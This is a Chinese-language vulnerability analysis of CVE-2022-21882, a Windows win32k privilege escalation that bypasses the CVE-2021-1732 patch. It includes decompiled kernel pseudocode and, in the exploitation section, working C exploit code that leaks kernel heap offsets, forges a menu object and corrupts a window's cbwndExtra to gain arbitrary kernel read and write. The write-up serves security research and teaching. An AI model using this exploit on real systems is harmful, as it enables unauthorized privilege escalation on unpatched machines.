一.前言
1.漏洞描述
该漏洞的成因及利用基本上和CVE-2021-1732一样,可以认为该漏洞是在对CVE-2021-1732漏洞进行补丁之后,绕过该补丁达成漏洞利用。在对CVE-2021-1732补丁后,在xxxCreateWindowEx函数调用过程中,会在调用xxxClientAllocWindowClassExtraBytes申请扩展内存后,会对窗口对象的偏移0x128处的pExtraBytes进行验证,以此来验证是否在执行用户层函数时被修改。然而,该补丁仅针对xxxCreateWindowEx函数,在后面的Windows版本中,出现了新的函数会调用xxxClientAllocWindowClassExtraBytes函数,而这些函数没有对pExtraBytes进行验证,导致可以通过这些新函数来实现对窗口对象偏移0xE8的Flags以及0x128的pExtraBytes进行修改。
2.实验环境
操作系统:Win10 x64 21H2 专业版
编译器:Visual Studio 2017
调试器:IDA Pro, WinDbg
二.漏洞分析
1.CVE-2021-1732补丁分析
在对CVE-2021-1732进行补丁之后,xxxCreateWindowEx函数会在申请扩展内存之后,会调用tagWND::RedirectedFieldpExtraBytes::operator函数来对窗口对象进行验证,如果该函数返回1,则函数接下来就会释放窗口对象,然后直接退出函数,而不执行下面的对pExtraBytes成员的赋值:
__int64 __fastcall xxxCreateWindowEx(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, unsigned int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, unsigned int a14, int a15, int a16, __int64 a17)
{
cbwndExtra = *(unsigned int *)(*((_QWORD *)tagWND + 5) + 0xC8i64);
if ( !(_DWORD)cbwndExtra )
goto LABEL_211;
pBuffer = xxxClientAllocWindowClassExtraBytes(cbwndExtra); // 申请扩展内存
v355 = pBuffer;
if ( !pBuffer )
{
v273 = 2;
if ( *((_DWORD *)tagWND + 2) != 1 )
goto LABEL_538;
goto LABEL_197;
}
// 对窗口对象进行验证
if ( (unsigned int)IsWindowBeingDestroyed((__int64)tagWND)
|| (*(_BYTE *)(_HMPheFromObject(v95) + 0x19) & 1) != 0
|| (zero = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=<unsigned __int64>((__int64)tagWND + 0x140, &zero)) )
{
xxxFreeWindow(tagWND); // 释放窗口
if ( v113 )
goto LABEL_553;
goto LABEL_37; // 退出函数
}
*(_QWORD *)(tagWNDK + 0x128) = pBuffer; // 为pExtraBytes成员赋值
}
xxxCreateWindowEx调用tagWND::RedirectedFieldpExtraBytes::operator验证函数的时候,传入的是tagWND + 0x140和值为0的zero这两个参数,而验证函数代码则如下,所以该函数就是在验证*(*(tagWND + 0x140 - 0x118) + 0x128) = *(*(tagWND + 0x28) + 0x128)是否不等于NULL,就是在验证pExtraBytes是否已经被写入,因为在xxxCreateWindowEx函数会在验证通过之后才为pExtraBytes成员赋值,如果验证时候该值已经不为NULL,就说明在用户层函数被劫持了:
然而,该补丁是打在xxxCreateWindowEx函数中,函数xxxClientAllocWindowClassExtraBytes并没有任何变化,该补丁可以在原来的系统中起到保护作用。可是在之后的系统中,增加了不同的函数可以调用xxxClientAllocWindowClassExtraBytes,其中就包括了xxxSwitchWndProc。因此可以通过该函数来实现对窗口对象的Flags和pExtraBytes成员进行修改,最终达成利用:
2.xxxSwitchWndProc函数分析
在xxxSwitchWndProc函数中,会判断窗口对象是否存在扩展内存,如果存在扩展内存,则会调用xxxClientAllocWindowClassExtraBytes函数来申请内存。随后,函数会重新为pExtraBytes成员进行赋值,并调用xxxClientFreeWindowClassExtraBytes函数将原来pExtraBytes指向的内存释放掉。因此,可以通过xxxSwitchWndProc函数来实现xxxClientAllocWindowClassExtraBytes函数的调用,并通过劫持相应的用户层函数,可以实现对pExtraBytes的修改:
三.漏洞利用
1.xxxSwitchWndProc函数的调用
通过交叉引用可以看到,xxxSwitchWndProc函数由xxxWrapSwitchWndProc函数调用的。
xxxSwitchWndProc函数则由NtUserMessageCall函数开始一步步调用到,该函数的定义如下:
typedef NTSTATUS (__fastcall *lpfnNtUserMessageCall)(HWND hWnd,
UINT msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR ResultInfo,
DWORD dwType,
BOOL bAnsi);
当msg小于0x400的时候,将会根据msg,从MessageTable数组中取出相应的下标,在使用该下标从gapfnMessageCall数组中找到要执行的函数:
当msg为WM_CREATE(0x1)的时候,从MessageTable中取出的下标将为4:
gapfnMessageCall数组中,下标为4对应的函数为NtUserfnOUTSTRING:
mpFnidPfn数组在InitFunctionTables函数中被初始化,其中下标为6的元素就被初始化为xxxWrapSwitchWndProc函数。因此,当参数dwType为0的时候,NtUserfnOutSTRING函数就会调用xxxWrapSwitchWndProc函数:
2.利用过程
此时,对tagWND->pExtraBytes以及tagWND->Flags成员的修改,是通过调用NtUserMessageCall,利用该函数会调用xxxClientAllocClassExtraBytes来实现修改的。所以,此时不需要通过申请大量窗口,并释放掉其他部分窗口的方式来找到触发漏洞的窗口。所以,此时只需要创建两个用来实现任意地址读写以及触发漏洞的窗口:
BOOL Init_CVE_2022_21882()
{
BOOL bRet = TRUE;
DWORD i = 0;
lHMValidateHandle HMValidateHandle = NULL;
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}
HMODULE hNtDll = NULL, hWin32Dll = NULL;
hNtDll = LoadLibrary("ntdll.dll");
hWin32Dll = LoadLibrary("win32u.dll");
if (!hNtDll || !hWin32Dll)
{
bRet = FALSE;
ShowError("LoadLibrary", GetLastError());
goto exit;
}
fnNtCallbackReturn = (lpfnNtCallbackReturn)GetProcAddress(hNtDll, "NtCallbackReturn");
fnNtUserConsoleControl = (lpfnNtUserConsoleControl)GetProcAddress(hWin32Dll, "NtUserConsoleControl");
fnNtUserMessageCall = (lpfnNtUserMessageCall)GetProcAddress(hWin32Dll, "NtUserMessageCall");
if (!fnNtCallbackReturn || !fnNtUserConsoleControl || !fnNtUserMessageCall)
{
bRet = FALSE;
ShowError("GetProcAddress", GetLastError());
goto exit;
}
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
WNDCLASSEX wndClass = { 0 };
PCHAR pClassName = "leak";
wndClass.cbWndExtra = 0x20;
wndClass.cbSize = sizeof(wndClass);
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.hInstance = handle;
wndClass.lpfnWndProc = DefWindowProc;
wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
HMENU hMenu = NULL, hHelpMenu = NULL;
HWND hWnd = NULL;
for (i = 0; i < 2; i++)
{
if (i == 1)
{
// 从第1个tagWND开始将带有tagMENU对象
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
if (!hMenu || !hHelpMenu)
{
bRet = FALSE;
ShowError("CreateMenu", GetLastError());
goto exit;
}
if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
!AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
{
bRet = FALSE;
ShowError("AppendMenu", GetLastError());
goto exit;
}
}
hWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pClassName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
hMenu,
handle,
NULL);
if (!hWnd) continue;
g_hWnd[i] = hWnd;
g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);
if (i == 0)
{
g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
BYTE bInfo[0x10] = { 0 };
*(HWND *)bInfo = g_hWnd[0];
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
}
}
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
if (g_qwWndOffset > g_qwKernelHeapOffset1)
{
bRet = FALSE;
printf("g_pWnd[0] offset is invalid!\n");
goto exit;
}
g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
PCHAR pTriggerName = "Trigger";
WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc);
wc.lpfnWndProc = DefWindowProc;
wc.style = CS_VREDRAW | CS_HREDRAW;
wc.cbWndExtra = g_dwWndExtra; // 指定特定的大小
wc.hInstance = handle;
wc.lpszClassName = pTriggerName;
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pTriggerName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!g_hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// 伪造tagMENU
HANDLE hProcHeap = NULL;
hProcHeap = GetProcessHeap();
if (!hProcHeap)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}
DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
if (!g_qwMenu)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}
*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;
exit:
return bRet;
}
接下来就可以通过NtUserMessageCall函数来调用xxxClientAllocWindowClassExtraBytes,在相应的用户层函数中,将会修改tagWND的Flags和pExtraBytes成员,之后就可以通过SetWindowLongPtr将tagWND0的cbwndExtra修改为0xFFFFFFFF:
fnNtUserMessageCall(g_hTriggerWnd, WM_CREATE, 0, 0, NULL, 0, FALSE);
// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFF
if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset + 0x10, 0xFFFFFFFF) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
在调用SetWindowLongPtr函数前后下断点,就可以看到,tagWND0的cbwndExtra被成功修改为0xFFFFFFFF,接下去的任意地址读写的实现就和CVE-2021-1732是一样的:
四.运行结果
完整代码保存在:。编译运行就可以成功提权:
五.参考资料